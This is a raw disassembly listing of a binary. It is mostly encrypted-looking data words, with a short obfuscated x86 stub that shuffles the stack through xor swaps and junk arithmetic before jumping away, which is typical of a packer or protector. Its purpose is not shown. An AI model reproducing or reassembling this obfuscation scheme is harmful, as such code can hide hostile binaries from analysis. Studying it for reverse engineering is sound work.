		dd 0ED1444A8h, 5B203478h, 0D9000000h, 4B782B71h, 69F0E900h
		dd 7466A27Ch, 0A00283A4h, 0A726542h, 5B9988Ah, 0E3928570h
		dd 9AB1F1C9h, 10E0D22Ch, 695B8BEFh, 2567FF48h, 20000000h
		dd 4B782B71h, 6542C0E2h, 786AEA72h, 0DE28A0B7h,	6F823CBDh
		dd 4C66DF85h, 6503337Eh, 70F4C48h, 0C8000000h, 5B87h, 0E4D5C000h
		dd 5E412012h, 726542h, 219A2C7Eh, 7191C8D7h, 314B782Bh
		dd 2C04635Dh, 0F36A8B25h, 7C795935h, 48B17465h,	7265DF5Ah
		dd 0A294D050h, 19B1B1D2h, 0BDE54E99h, 0ED7265DFh, 11CB4C6Dh
		dd 0EB7265EDh, 27A888BDh, 6E5B72DFh, 0B1D2A294h, 0FFFF2474h
		dd 58872DFFh, 0C0000002h, 2012E4D5h, 0C1D05A93h, 0DE0B960Ah
		dd 0C3DF4893h, 0E7726542h, 0D2C54667h, 0C27A0D6Ah, 2D715042h
		dd 7B6ABD1Ah, 18484961h, 24E6D060h, 27h, 742F71DDh, 48C5DE47h
		dd 0BDD47A0Dh, 3707F90Dh, 5446C616h, 0BD3C2975h, 55657F6Ah
		dd 0D0421C4Ch, 0AE28E6h, 0D5E10000h, 92C652E4h,	906C296Dh
		dd 0E9D56254h, 0CD5F284Dh, 55916234h, 13E5D663h, 115B9421h
		dd 0D5D3622Eh, 0F1003C37h, 65D9214Ch, 7D8F4072h, 0C2E9B76Eh
		dd 7D022C95h, 40C07A10h, 35CFFC13h, 0EF527343h,	0B2F059A4h
		dd 0F86ABB21h, 21841E87h, 0A6266ABBh, 0AC1A496Ah, 0F2F04352h
		dd 21D4CE37h, 56D66ABBh, 3821041Ah, 68002541h, 4A38Dh
		dd 24F2ED00h, 0FE08C215h, 0DA249CEFh, 0B14B78CBh, 87934FA2h
		dd 93AC3778h, 69BCCB57h, 4194A373h, 1A6D7C8Ah, 0C4857A1h
		dd 0AEE0C22Bh, 2FCA7A12h, 50E9D588h, 3E4D8993h,	706BF2EBh
		dd 245B6AA6h, 2012E4D5h, 0C1D05A93h, 0DE0B960Ah, 0D4D5A75h
		dd 0E34C977Ah, 6ABD37BFh, 304AD40Ch, 0BF3F8FB0h, 37B2EECDh
		dd 0F2E86ABDh, 0ABF6AAD8h, 42BA157Eh, 1D377265h, 8628F581h
		dd 74C4E5DFh, 0A4089A03h, 22A26314h, 8020D7E6h,	293FC29h
		dd 8E6AC207h, 16CAE10Eh, 4985914Bh, 3FD7051Ch, 175C7D4Dh
		dd 67413672h, 0DC2AA15Bh, 9C2CCDh, 83650000h, 7265421Bh
		dd 0AC585A74h, 0D7B372F7h, 6C7A23B6h, 26F0EA71h, 4C9FAEEAh
		dd 125D8A94h, 4133CFFBh, 0D07C2671h, 0AE2E7265h, 1C86658Dh
		dd 0AF7265D0h, 6DCF2733h, 6936026Eh, 3CAE3B2Dh,	1A6CF8EAh
		dd 74823680h, 0F4C66838h, 0D12597AEh, 0F314E6D8h, 0F3020CC4h
		dd 0D564556Ch, 0DFD10DE9h, 4363A64Fh, 0D511DCB4h, 0A293FBD9h
		dd 7E9F5C40h, 5D8A9C4Fh, 4F04A543h, 0C797899Dh,	0C4115DCBh
		dd 39C7BA3h, 8972658Ah,	14C71FABh, 837F9745h, 367559D0h
		dd 4857933Ch, 0E533AAC1h, 0E6D5B1C4h, 2F98E310h, 72654273h
		dd 6E96B737h, 2A1CEAE1h, 0C3001770h, 82181839h,	43FDE600h
		dd 48A20069h, 88087265h, 0F776908Ch, 0E234A7D6h, 386C2ED3h
		dd 0DF0C7266h, 4F59AAC5h, 3C5D4300h, 27A9A3D8h,	0FF1DB3DFh
		dd 0A16CFFFFh, 42B5ED56h, 75F57265h, 62B42554h,	59AF1E35h
		dd 4A831038h, 541CD03h,	4A613FF6h, 2BBD21Dh, 4156D7F8h
		dd 537A0D6Ah, 5E3FB713h, 49853226h, 97C9657h, 6B5EAE0Ah
		dd 831B9CBDh, 256ABC98h, 0AEF45DA8h, 0FC6ABC98h, 4F5B5B7Ch
		dd 0D0E21242h, 461EE6h,	3C870000h, 0BCA0CFD3h, 36C0FC6Ah
		dd 0DA5A7444h, 2F71A6B9h, 0E5FC4774h, 9C6664F5h, 7D9E6E60h
		dd 0D48A7FCh, 90A7F27Ah, 2280CB5Dh, 886ABD3Ch, 1797E708h
		dd 3C584625h, 36506ABDh, 41ED1D64h, 0E6F9E6D0h,	0B2000000h
		dd 0C25C8AA1h, 0B0DF00D0h, 6EFBED3Fh, 27B4A670h, 0E57264B6h
		dd 9E7865F4h, 81CC5362h, 65428A18h, 7FA02072h, 65476FFEh
		dd 72F9F272h, 0EEBEB07Eh, 0D11CA3B2h, 653D3A68h, 0CFF07072h
		dd 0AD202FA0h, 5D99695Bh, 0BE267A6Bh, 76803E0Dh, 3C78B484h
		dd 30ADC40Fh, 3D168CF5h, 14947265h, 0F516E6D8h,	0D4BF774h
		dd 0B6C5457Ah, 0DD0AA1FFh, 0B9457B92h, 0DF111798h, 34A57267h
		dd 127ED7CBh, 1753D363h, 0B17D3EAh, 782A93DEh, 5363127Eh
		dd 0C9998B97h, 0C90E2FAFh, 98AE4876h, 2DB9DBABh, 0D117F28Ah
		dd 1B000001h, 0F04352ACh, 0CA1D2CFEh, 0A6F90816h, 7DD0DF39h
		dd 65A6B541h, 0FD19C57Eh, 0D5219BEEh, 0AE7873C6h, 89934C9Fh
		dd 0F45D3E7Ah, 7A12B1AEh, 0D5BA61FCh, 0ABFE0DE9h, 52D9E832h
		dd 7A2ED538h, 0A2BB9C4h, 742F71F7h, 48C5DE47h, 67E77A0Dh
		dd 3C089675h, 23A06ABDh, 0FE08C1D8h, 0B1F13C0Ch, 0F96ABD3Ch
		dd 4F600BCh, 0D7D7F834h, 428EBEC3h, 0DE9AE6D0h,	53000000h
		dd 2012E4D5h, 0D9CB5793h, 654773FAh, 2BFDEE72h,	4610C91Ch
		dd 686232B8h, 5984A29Eh, 0FCBDAFEBh, 0AA5A48B1h, 0D0507264h
		dd 1D841CAFh, 0BB8BA5F0h, 5B005A0Eh, 0AEBD3E5Fh, 8E7A0CC0h
		dd 4B96E10Eh, 0BCA3C0E2h, 1F6AEA6Ah, 6ABCA383h,	554DB627h
		dd 556ABCA3h, 337899D5h, 507D247Ch, 0A3069C05h,	67A46ABCh
		dd 4768A476h, 504E7BE4h, 2AAA7267h, 1EF8E6FDh, 0EB5BD7F1h
		dd 3FBEE002h, 5886D91Eh, 0FC11A8BEh, 0F8902DB8h, 0CF1Dh
		dd 50AE1900h, 2AFCEE41h, 610C81Bh, 0DD27A4F7h, 0B34F7BCEh
		dd 0BF8063A4h, 95E8F703h, 6DC0CF27h, 4699A87Eh,	38748395h
		dd 0B2B4EE57h, 5BF67A12h, 1CE9D5B4h, 6542EFB3h,	0FF3BBB72h
		dd 3501BBD2h, 50B14114h, 7871ADA7h, 4B90B14Bh, 2635C7F8h
		dd 52E4D5EFh, 0D44770A8h, 5E5E7939h, 9B52C7C3h,	0FC897BB7h
		dd 0F50C39C3h, 6B3B2DC9h, 524E054Ah, 0D0C12A57h, 0B87A12D3h
		dd 0B94638h, 5B94E7F6h,	650DC811h, 7DB9555Ch, 4BB2AC8Bh
		dd 1DB59E78h, 7680398Dh, 51DB1467h, 1A15D25Fh, 0F730F1B1h
		dd 437CB936h, 0BBF7C7B9h, 9E07527Fh, 36F73004h,	0DD0526A6h
		dd 0F3C3D779h, 0CE2130FAh, 3E190B1Dh, 0Ch, 6587A177h, 762004D9h
		dd 0C4476687h, 1A0CEAD5h, 0D8CA5C8Dh, 9486904Bh, 4F41D507h
		dd 8FA04C2h, 0C1B34F7Bh, 7B6DB734h, 3A2CFAEEh, 0F7E93DADh
		db 79h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	3E86h
		mov	[esp], ebp
		push	942h
		mov	[esp], edx
		push	ebx
		push	eax
		mov	eax, 82069FEh
		mov	ebx, eax
		pop	eax
		inc	ebx
		shr	ebx, 6
		add	ebx, 78CE246h
		mov	ebp, ebx
		pop	ebx
		push	36CDh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	esi
		mov	esi, ebp
		mov	[edx+8], esi
		mov	esi, [esp]
		add	esp, 4
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_595E45
; ---------------------------------------------------------------------------
		db 0B3h, 0B8h, 0B0h
		dd 307AD71h, 0C5E0FFC5h, 0F829561Ah, 0F171D290h, 74469D0h
		dd 5B7DFB6Bh, 666140B5h, 0A432AA0Ch, 91646E0Fh,	0FE1C2C34h
		dd 0BF5642B2h, 861CC8CCh, 0E32AC390h, 686D4DE8h, 7744A86Ah
		dd 0CC11FD06h, 2043DBF2h, 0A57D13Dh, 0E1D4A93h,	87506019h
		dd 1C4BA024h, 0D4117972h, 302063D9h, 1840F405h,	0DD2B12D1h
		dd 0DF348C5Ch, 1306816Fh, 82199E65h, 8D2ABF10h,	0AD73308Dh
		dd 1DB58907h, 8907A806h, 0A817318Dh, 0CB816607h, 85C7EAC4h
		dd 7A80A59h, 6F80h, 24198529h, 85C707A8h, 7A80939h, 0
		dd 7E8h, 25AF0400h, 0BA878C65h,	0FF5EDC8Ah, 0A80055B5h
		dd 95895307h, 7A82E41h,	9995FF5Eh, 6A07A81Ah, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 4DACC351h, 0F215C894h, 7E9B3C8h, 21000000h, 5208DF8h
		dd 6AFF24h, 0D2195FFh, 0C08B07A8h, 6C5E6CEBh, 4ADC0323h
		dd 0A675415Ah, 0FFD74EB5h, 5000BE51h, 67039C63h, 0EBE563A7h
		dd 597542B4h, 0F04BBB97h, 0F22727C2h, 5FC0D932h, 1A25C20Eh
		dd 46C578DBh, 44956B22h, 0BA09DFD3h, 94AF4DA9h,	2DF557E2h
		dd 61939EF6h, 0FF883E0h, 0AFFC8294h, 9CA8316Dh,	5DA64D56h
		dd 0B2A909BCh, 4DC0776Ch, 6C08BFE0h, 8F7A8425h,	5F520437h
		dd 0B0E969A0h, 60000000h, 0F6DA8C66h, 850F04C2h, 0Ch, 1895853Bh
		dd 840F07A8h, 36h, 1E35853Bh, 840F07A8h, 2Ah, 379853Bh
		dd 840F07A8h, 1Eh, 10C1853Bh, 840F07A8h, 12h, 0F2DBD83h
		dd 0F0107A8h, 584h, 5FE900h, 0D08B0000h, 8B3C5203h, 88BAh
		dd 784A8B00h, 840FC985h, 49h, 0F8C281h,	728B0000h, 8BC8030Ch
		dd 518B1C59h, 8BD80314h, 0FC9850Bh, 1084h, 0FCE3B00h, 1782h
		dd 0FCF3B00h, 0F83h, 4C38300h, 0DC850F4Ah, 0E9FFFFFFh
		dd 0Dh,	4E4D9D8Dh, 5B807A8h, 0FF000000h, 0BC361E3h, 29E9D0h
		dd 2ED60000h, 5C40h, 8 dup(0)
		dd 0E9000000h, 595h, 677C9B3Ch,	0A4B9DE7Eh, 0E5FA1DBBh
		dd 24395EFCh, 6A7F983Bh, 65386D5Ch, 0A5745D72h,	0E7B49DB2h
		dd 20F2DBF0h, 0A3422237h, 0ABFC275Dh, 0E5932DCBh, 350017C7h
		dd 0DDF2E5B8h, 6A3522F4h, 5F2A2DEDh, 5A2532E2h,	11A00B06h
		dd 0E5F2A641h, 172C4D1Ah, 596E692Eh, 0E1ACAB70h, 4D4A0F48h
		dd 0BA9DB582h, 0B22DF81Fh, 0CDEF9A05h, 1ABFF10Eh, 0AB6532FDh
		dd 0AB2D3EAh, 0BDACD2CAh, 0F1D4EC0Dh, 0EB216724h, 0F1D3594Bh
		dd 87DCC9EAh, 594C0B41h, 0D3AC05D3h, 262DC574h,	32597178h
		dd 0A18E8949h, 7BB1F74Ch, 81D358BCh, 0BC669C7Ah, 656CD358h
		dd 0ADE6704Dh, 87D358BCh, 91D985F0h, 681BA8B5h,	5Eh, 17C766h
		dd 7073AB35h, 0B64DD359h, 1EB9F4Bh, 12E1BA8h, 2C000000h
		dd 150215C7h, 22C75AF3h, 768E7D2Dh, 0AF781C99h,	0D931EBECh
		dd 9D34A108h, 4E877495h, 0F4C18C8Bh, 0D482FFDCh, 0FB9DD6C3h
		dd 4E490BDCh, 0A055936h, 1BBBF49Fh, 5301E4FCh, 0F12A2F44h
		dd 98653027h, 0DAFD9D80h, 14C7D9C5h, 19BB3803h,	70B6EC32h
		dd 0B5BCD359h, 0EB04C994h, 4780D580h, 73A98790h, 79D35970h
		dd 1A8D52D9h, 0B9DA8D79h, 0F81FBEA1h, 0F6A5DEE3h, 314916E1h
		dd 0C08B8C4Eh, 0B7829543h, 0A2537572h, 0EF4E6A67h, 117C97AFh
		dd 8A084466h, 180CB7D0h, 2A3A0000h, 7A9C1BA7h, 585A7792h
		dd 31E8B913h, 0C3F20E26h, 0F0000000h, 0B0A772ABh, 0F1E6B598h
		dd 0E8EFA926h, 0C8EAC91Dh, 2468D3A0h, 526D8527h, 941A3CE7h
		dd 4C15C14h, 91865122h,	0D0C79679h, 1403D2BBh, 568CD227h
		dd 5CD35893h, 0C7603D55h, 0B0F5E8A5h, 0ADC54064h, 400B0CCAh
		dd 3C0710C3h, 0BF77F7D6h, 12E3C182h, 0C3885344h, 0EDB03FAAh
		dd 1730C9EAh, 15C801ACh, 526A3702h, 0A7DF6852h,	0E3B5EE1Bh
		dd 6F5C29F4h, 5945F329h, 0DAF2F9D3h, 73BEh, 72ABBC00h
		dd 425501A6h, 77260921h, 43189560h, 8B456754h, 610A5342h
		dd 2D76536Bh, 7322B11Ch, 2B557764h, 183FDC29h, 14C6804Dh
		dd 365D75FBh, 0DA880F31h, 0B17C9B39h, 7E932AE4h, 5E273AF4h
		dd 3073CFEFh, 15C73218h, 74AD3702h, 4ED35970h, 2BFC9AD3h
		dd 7748696Eh, 1CE9B4A3h, 0D27EE904h, 1BA80198h,	0ADE3297Eh
		dd 0B3D35964h, 17894ACh, 76000000h, 7A072ABh, 0D254651h
		dd 7C696E2Ah, 0FBE79743h, 760DC33Fh, 0B5824D6Eh, 0EE27C09Dh
		dd 915E292Eh, 23C49679h, 86A76176h, 0EB924EBEh,	8C07D2F3h
		dd 33E574DFh, 5AF4928Bh, 503E6576h, 793F1876h, 495E7FA0h
		dd 4C92B69Fh, 0D3590816h, 7F4151Ch, 11CE0C1h, 0C52A7DBh
		dd 0DB011CD6h, 0FDBDD5DCh, 0ECAE2BF6h, 60DCFEEBh, 473228C0h
		dd 6B547B93h, 86BFACABh, 0CBA8C0D7h, 0D60941h, 0A40F20DBh
		dd 3D524515h, 0CA958254h, 3ADA8D4Dh, 6C31FC1Dh,	7760366Fh
		dd 4AD9445Fh, 757A8F88h, 0B07B9C3Ch, 87CBCBE3h,	5AE3F09Bh
		dd 159h, 0A072AB58h, 4FAD871Eh,	597A8819h, 5A9C18Eh, 91D7C410h
		dd 0DB01449Ch, 75AE9BA2h, 1DEAB5A2h, 568F2805h,	987B9384h
		dd 0D3BCD1C6h, 0B0491403h, 0E8B3A477h, 8F884A1Bh, 0FCDFF7C4h
		dd 17503D5Ah, 0BB885344h, 8E49C6A3h, 444177BDh,	4047DB01h
		dd 75BB541Fh, 0DB01443Fh, 0AF6D3E45h, 446096DCh, 5F66DB01h
		dd 94DA733Eh, 0DB01445Eh, 2B445D64h, 0F92148C0h, 4340E2E9h
		dd 85F00922h, 93F85DAh,	0FDB00CFh, 4D0DF008h, 7B2F354Ah
		dd 0BEE3F0A0h, 57h, 0C11506BCh,	94467FD4h, 487680EAh, 224376E2h
		dd 5C41A0Ah, 0C3CA5359h, 27A7B4D6h, 9A96396Fh, 0E51BA582h
		dd 0AE535925h, 9D7ECE39h, 13654BA0h, 0B0D14F70h, 0DE277DC3h
		dd 762DD358h, 1DEAB5A2h, 8073B863h, 72864C7h, 0E1B4EDF2h
		dd 64859246h, 6F0E4Ch, 6500000h, 83D8C511h, 5970073Dh
		dd 0EE060DD3h, 8C54A9EFh, 535ADB01h, 0DFCDEF88h, 6222A715h
		dd 0D6886B83h, 6EA7ACC1h, 49E2ADAAh, 1F1CD03h, 0ABCCD3DBh
		dd 0E9EEB093h, 0F259941Eh, 5F70DB01h, 0A2B565F4h, 0A272E38Dh
		dd 66926FB5h, 0E198E2AFh, 0F55B2631h, 8C42EF7Ah, 0ABCCED5Bh
		dd 0A4B363E0h, 46B15ED9h, 0C8B561F6h, 5C5EA582h, 8FA4ABEAh
		dd 0C51106A3h, 0E4B592D8h, 0B4BBDB06h, 0ADAA6CE9h, 0E8EFAF98h
		dd 38D0931Dh, 0E1DC36F4h, 0C792CB76h, 8E597E20h, 0A588A0C1h
		dd 0C8CDE2F5h, 0B2CACD8Fh, 3D080FCFh, 32FD1AC0h, 2AED26B7h
		dd 15844D94h, 6F90AE2Fh, 42D13C57h, 1601D790h, 485D7E4Bh
		dd 0CD98BF5Fh, 0DF5h, 25DC3700h, 0DC7E29ECh, 223F0BBh
		dd 16C704EAh, 19B93601h, 0E1B633FEh, 0EBAE2BF6h, 0F1A421ECh
		dd 0FF9E1BE6h, 0CA900DD8h, 0D38502CDh, 0D87CF9C4h, 533CF4BFh
		dd 0C381E389h, 4, 8704EB83h, 248B241Ch,	0E1895124h, 4C181h
		dd 0E9810000h, 4, 5C240C87h, 68243C89h,	10C9h, 81242C89h
		dd 4ECh, 242C8900h, 0F3476B68h,	0CD815D6Ch, 23642890h
		dd 0E581E5D1h, 315EBAh,	15D9C581h, 0EF89078Dh, 69EE685Dh
		dd 24890000h, 24048324h, 0E6685D04h, 89000076h,	458F243Ch
		dd 242C8B08h, 81E78957h, 4C7h, 4C78100h, 87000000h, 0FF5C243Ch
		dd 835F2434h, 94E904C4h, 0C4FFFB05h, 798EB842h,	0C50307ADh
		dd 5E98E0FFh, 15146DA1h, 6E9B51CAh, 301A150Ah, 0B6F1379Eh
		dd 5D3102F0h, 28042A3Ah, 0E12421DDh, 391C71CFh,	0CEC31FD5h
		dd 8F2D0E83h, 44E433CAh, 4C2968C3h, 22362ED9h, 0DFC423F3h
		dd 71742736h, 687D37FEh, 0AE3E61AFh, 76454659h,	0F21A09B9h
		dd 0BCFB431Fh, 0BFF50B3Ah, 11E9226Dh, 1B4F6D6Ch, 0D1174176h
		dd 0E107B18h, 80E93918h, 85C58F6h, 73BE5FD1h, 0D665118Ah
		dd 8D8D3AC2h, 7AD7B51h,	9E8h, 894FFB00h, 4472EE84h, 858972C6h
		dd 7A82685h, 318D895Fh,	6A07A817h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0D465C351h
		dd 681DFD5Bh, 8160C621h, 54085ED3h, 0C761F526h,	0A80A5985h
		dd 628807h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 0CDEC3E72h, 818A7085h, 76A7B4F6h
		dd 3985C746h, 7A809h, 0F000000h, 284h, 0FF88B600h, 0A82641B5h
		dd 61BD8B07h, 0FF07A835h, 0A81A9995h, 0C9950907h, 6A07A807h
		dd 2195FF00h, 8B07A80Dh, 6119EBC0h, 0F239826Bh,	2CBA0A64h
		dd 7D34DDD7h, 0D6573D7Eh, 862BAC35h, 78802DC7h,	192E9h
		dd 20800F00h, 60000000h, 6541D381h, 13E904CAh, 0D8000000h
		dd 321AC215h, 0A4C98731h, 2CA821F2h, 0E753CBDDh, 8D61A964h
		dd 0AD7C44B5h, 55006A07h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 858DFCA4h, 7AB4AF6h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 49C35242h, 60554E23h
		dd 0E85FF853h, 6, 3E5FB06Fh, 810FBAB7h,	0
		dd 8F0F615Fh, 0Eh, 9E9h, 2460D500h, 43AB19A8h, 6060A37Dh
		dd 860Fh, 22BB0000h, 61047714h,	0DF113DBFh, 0D0FF6123h
		dd 7810Fh, 8E0F0000h, 1, 0EE9C3F5h, 10000000h, 0CDB944CBh
		dd 3728F4F0h, 4E1DF3A7h, 0D98C666Fh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 99C35343h, 1958BBB6h, 10E93Bh
		dd 17540000h, 804791FFh, 0B00C2A92h, 0A774A672h, 0C1F63EE6h
		dd 39840F04h, 0F5000000h, 0CB8BFB8Bh, 75AEC032h, 0F7CF2BFDh
		dd 8BF92BD9h, 0D98B49D7h, 20CD00EBh, 1013Fh, 1874C00Bh
		dd 8B0C708Dh, 0A6CB8BFAh, 75490A75h, 1B8FAh, 9EB0000h
		dd 0E4EB008Bh, 0B8h, 6ACF00h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 2FB26AC3h, 40B8EF92h
		dd 0DE972h, 0DB3C0000h,	0F7736F4Ah, 29D59F3Eh, 0E99FFF25h
		dd 7, 1F1D8AE0h, 0C7A73AADh, 0AD7C9F85h, 1013F07h, 6E800h
		dd 0B0650000h, 0C02E28B5h, 128E0Fh, 0DE90000h, 0AB000000h
		dd 0CBFFF1C0h, 0BC8B0F35h, 0E309263Fh, 69D6805Fh, 635AC781h
		dd 0D08B0000h, 0BBh, 348BF900h,	11E91Fh, 4F950000h, 2ABC2803h
		dd 0BFEF6F76h, 5A3E041h, 817A3705h, 0C9C49EEEh,	6890F77h
		dd 52000000h, 0BBCB866h, 0EC68159h, 607D235Dh, 62F28166h
		dd 0C6816149h, 31DB70D3h, 0BE2FF081h, 665636CAh, 0A597CA81h
		dd 0FC1F048Fh, 839BC080h, 800F04EBh, 3,	8163D980h, 0FF9D3CFBh
		dd 97850FFFh, 0F8FFFFFFh, 60EBh, 17h dup(0)
		dd 6FE90000h, 0E900000Bh, 0B63h, 0AD85EB68h, 18DE907h
		dd 6268FFFBh, 0E907AD87h, 0FFFB0183h, 0AD87C268h, 179E907h
		dd 0CD8EFFFBh, 8CCB5CAh, 4711FA0Fh, 84523B50h, 0C6957E93h
		dd 1BAEBCD1h, 0B7CCCB8Ah, 0F70C0BCEh, 394E490Eh, 74898E50h
		dd 79AFF594h, 7FCBABF2h, 10C737E5h, 85883C07h, 9FD8C5D2h
		dd 4613DEF9h, 7C1E072Eh, 4613905Bh, 4E098651h, 50DF88B0h
		dd 0E708C7A7h, 2BFC9F1Ch, 0BFB2D06Eh, 0A5B4447Ah, 0FFECB984h
		dd 594383B9h, 618289D3h, 5D7A1996h, 56411592h, 4D4A0E8Bh
		dd 0ECB0E982h, 3B5320EBh, 0A6938458h, 43D50B51h, 0D4DBD359h
		dd 0B4A1DFBCh, 0E51E7360h, 0F2382532h, 0D35943BCh, 0B3A3BBC2h
		dd 0DB06C12Eh, 7402D34h, 0C3A4A955h, 114FB06Ch,	2531DBF0h
		dd 8CBE04F1h, 53DB06DEh, 915C7B1Ah, 0E5ECACC4h,	2F1CBFF8h
		dd 6DEB3E9h, 91B2B9DBh,	0CA039C79h, 9ABD5D0Ah, 0DC7E6179h
		dd 0C7BAA6BBh, 8D8A5017h, 34CD986Ch, 0FBA559FBh, 5C6DC3F9h
		dd 0AF95ADCEh, 3A472ABh, 0AE7B4651h, 9345C28Dh,	0A74B6384h
		dd 0F7E0B4ACh, 978302D6h, 0B3A472ABh, 0F5A79B9Bh, 0FE371EA7h
		dd 0A16E395Eh, 4C6D89h,	66B0000h, 7BB1F713h, 81D35970h
		dd 11478D7Ah, 17D35970h, 0AB1BEF10h, 59702F65h,	19BDF6D3h
		dd 1F26E6FEh, 1056AB4Bh, 0D35970DAh, 91C70DE0h,	97D35970h
		dd 58576F90h, 215C71Ch,	6689AB2Eh, 44BE2E3Ch, 5CF071Fh
		dd 4B6Ch, 1306AE00h, 7F89B72Ah,	0D2F31C92h, 156ABFEh, 597085BBh
		dd 0B3848BD3h, 5F2CF7E0h, 70215747h, 61E6D359h,	7A9D3B74h
		dd 925B49AFh, 0A1934023h, 3C74C680h, 0F1DC903Ch, 6FABF3D9h
		dd 2E0215C7h, 80568F72h, 710C697h, 71576F3Ch, 0D8C51106h
		dd 0B2E82E83h, 0B8D35970h, 0BCA999B1h, 0C2DB0199h, 0B6ACCEBBh
		dd 65177E76h, 0F9836078h, 0DB01F4BFh, 0AA56C1DAh, 0E3FF7DE0h
		dd 16E39h, 10063700h, 6593D9C6h, 6BD35970h, 7A1C9964h
		dd 0D51B705Dh, 0D359709Fh, 5F869EA5h, 0DCC055Ah, 94723F0Ah
		dd 0D359705Eh, 5F455D64h, 2C0017C7h, 13064DCDh,	9783EFC3h
		dd 0A7F590AAh, 1C291Eh,	6270000h, 0ABEFC313h, 59702F65h
		dd 5A2E35D3h, 15C76FABh, 0A8722E02h, 166Ch, 1306AE00h
		dd 65ABEFC3h, 0D359702Fh, 0AB9B6FF4h, 215C76Fh,	6A8722Eh
		dd 93D9C610h, 0D3597069h, 209D686Fh, 336C597Eh,	0FF5ADB63h
		dd 9FFC3E22h, 533F667Eh, 2C0017C7h, 13064DCDh, 448A4113h
		dd 0D359700Eh, 21EC0D14h, 835F3354h, 0A672AB97h, 74DE6B1h
		dd 0D35970D1h, 97AFD0D7h, 0A7F5A397h, 6B161Eh, 6140000h
		dd 2E982A13h, 92943160h, 72AB9D71h, 9E9DB5A2h, 78AEF449h
		dd 7ED35970h, 396F5F77h, 3FD35970h, 0C4E8FC9Fh,	4E6FC90Eh
		dd 0DA89AB7Ah, 49ADA254h, 789F3D0Eh, 0C9C8E0ADh, 7C9B3B74h
		dd 0E6CCE4B1h, 791D56ABh, 704A805Eh, 4950D359h,	898E4E31h
		dd 889ABB5h, 0F8CBD0FBh, 12DC142Ch, 0B5A272ABh,	0C7051DEAh
		dd 36h,	0C3130609h, 2F65ABEFh, 0F6D35970h, 70255BA1h, 242BD359h
		dd 0B2860B0Ch, 56AB6FABh, 8E597E1Dh, 70ADE3C1h,	0ACB3D359h
		dd 7713FF2h, 38502FEFh,	0BC908755h, 72ABA872h, 1DEAB5A2h
		dd 0C9C705h, 6090000h, 93D9C610h, 0D3597065h, 1C99646Bh
		dd 154B917Ah, 0DCD35970h, 59706096h, 0B15F66D3h, 618DF0AAh
		dd 41C6E055h, 0A6113320h, 6E686E9Ah, 2B2CCA30h,	0E1D78071h
		dd 0C7B6A2C9h, 8D8A5017h, 0D4F5C2h, 13064DCDh, 8B564113h
		dd 77B09DBEh, 1BE8B3A4h, 550C8D61h, 0D7EF1C8Eh,	0AA9783F1h
		dd 1EA7F590h, 4C4B0D46h, 301834h, 6160000h, 0ABEFC313h
		dd 98B0A772h, 701D5399h, 0ABE4D359h, 7A1AEBECh,	0ADC5925Dh
		dd 0AB12E6EDh, 215C76Fh, 0A572AB2Eh, 98629AB2h,	2E6Ch
		dd 72ABAE00h, 1FECB7A0h, 87F06307h, 62A8B0E0h, 0CEA2C307h
		dd 702F65ABh, 6FF4D359h, 156AB9Bh, 597085BBh, 6C848BD3h
		dd 215C786h, 0C7A8722Eh, 9C350017h, 4C4B0E47h, 0A0D6B481h
		dd 0A6D35970h, 0F7A4879Fh, 0C28EFA47h, 52739B12h, 5CFF383Dh
		dd 9E40233Bh, 0C015AE79h, 5929447Ah, 2B434AD3h,	5929033Bh
		dd 0D03BE8D3h, 71869141h, 0E4F54A6Ch, 0A28A41BDh, 30F7A78Ah
		dd 3C54D569h, 96F7351Ch, 0BCDDAA75h, 0D47B70F1h, 0FB9B2A95h
		dd 22CDEFDCh, 0B79DEA73h, 95CB11FEh, 9BD35946h,	0AB557C94h
		dd 0B0E4D1AAh, 3249D1ACh, 0DAA5B261h, 0B9FFEC0Dh, 0DB0101CCh
		dd 0A5DECBD2h, 4D1AE5F2h, 94CE5835h, 0AFDB0101h, 0CB7F2B96h
		dd 0EE3F06Eh, 24h, 0FA1DBAF3h, 56ABFCE2h, 5970DA10h, 0F81FBDD3h
		dd 482B434Ah, 2CB68196h, 0D3596FF6h, 34C32EDBh,	74607562h
		dd 350017C7h, 0C9B61EF7h, 6EE5283h, 645158DBh, 50686F2Bh
		dd 3E967F29h, 54431851h, 0AF73D3Ch, 10E2AF18h, 18C1F73Dh
		dd 0C0C7E2AFh, 104AD49Fh, 2BE2AF18h, 0B7FBA712h, 8AEB0259h
		dd 2Bh,	0C6100688h, 0DAFDA0D9h,	577DC3C2h, 1ED35970h, 0F2730E5h
		dd 0D5C2984Fh, 2F1C3D0Ah, 1B3324F6h, 2235E31Ch,	12C90Dh
		dd 60B0000h, 93D9C610h,	0D3597069h, 427B686Fh, 806C8196h
		dd 0B7A072ABh, 0C9071FECh, 187h, 8E5AD0F2h, 1D73A9EFh
		dd 7279D359h, 0ED7D25B8h, 6913F64Bh, 91A9CA82h,	0C71F06ABh
		dd 93F85DAh, 0FD35970h,	0CD0AF008h, 17C74Dh, 1EBCF113h
		dd 0DFAAAD6Dh, 83DA5812h, 833D233Bh, 0F590AA97h, 0D461EA7h
		dd 3CE9B44Ah, 0D85177B1h, 321FECB7h, 58E0B6ECh,	9DB5BCD0h
		dd 2581h, 1F067F00h, 89ABF3C7h,	6F5D02Dh, 504F677Bh, 5909D40Ah
		dd 0FFD3DAD3h, 11C76FABh, 0A8723206h, 2F6Ch, 1F06AE00h
		dd 65ABF3C7h, 0D359702Fh, 64CA1F6h, 0D35970D0h,	0BBF1CFD6h
